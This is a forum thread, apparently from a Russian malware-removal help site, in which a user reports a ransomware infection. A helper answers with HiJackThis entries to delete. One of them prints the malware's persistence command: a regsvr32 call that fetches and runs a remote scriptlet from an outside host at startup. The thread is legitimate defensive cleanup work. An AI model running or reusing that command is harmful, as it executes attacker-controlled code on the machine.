Шифровальщик: [email protected]

[deman_ru]

Добрый день!
Поймали вирус шифровальщик. Пример зашифрованного файла, логи сканирования AutoLogger и файл послания расшифровки во вложении. Очень нужна помощь!

[Info_bot]

Уважаемый(ая) deman_ru, спасибо за обращение на наш форум!

Помощь в лечении компьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.

[SQ]

Здравствуйте,

Данный тип шифровальщика новый (похоже ранее не встречал), пока в стадии изучения.

При наличии лицензии на любой из продуктов Касперского создайте запрос на расшифровку.

Если вас интересует чистка от вредоносного ПО и остатков от шифровальщика, то выполните следующее:

HiJackThis (из каталога autologger)профиксить
Важно: необходимо отметить и профиксить только то, что указано ниже.

O4 - Global User Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - Startup other users: C:\Users\USR1CV83\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - Startup other users: C:\Users\ZIAdmin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - Startup other users: C:\Users\ZIBuh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - Startup other users: C:\Users\ZIIntervolga\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - Startup other users: C:\Users\ZIKukovkinII\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4 - User Startup: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECODING_FILES.txt
O4-32 - HKLM\..\Run: [start] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.mys2016.info:280/v1.sct scrobj.dll
O7 - IPSec: Name: win (2020/06/10) - {ca7bd39f-fa66-4839-9a25-fc0e4bb24cfb} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/06/10) - {ca7bd39f-fa66-4839-9a25-fc0e4bb24cfb} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/06/10) - {ca7bd39f-fa66-4839-9a25-fc0e4bb24cfb} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/06/10) - {ca7bd39f-fa66-4839-9a25-fc0e4bb24cfb} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2020/06/10) - {ca7bd39f-fa66-4839-9a25-fc0e4bb24cfb} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O22 - Task (.job): (disabled) (Not scheduled) my1.job - c:\windows\system\my1.bat (file missing)

Логи сделаны в терминальной сессии, сделайте их из консоли.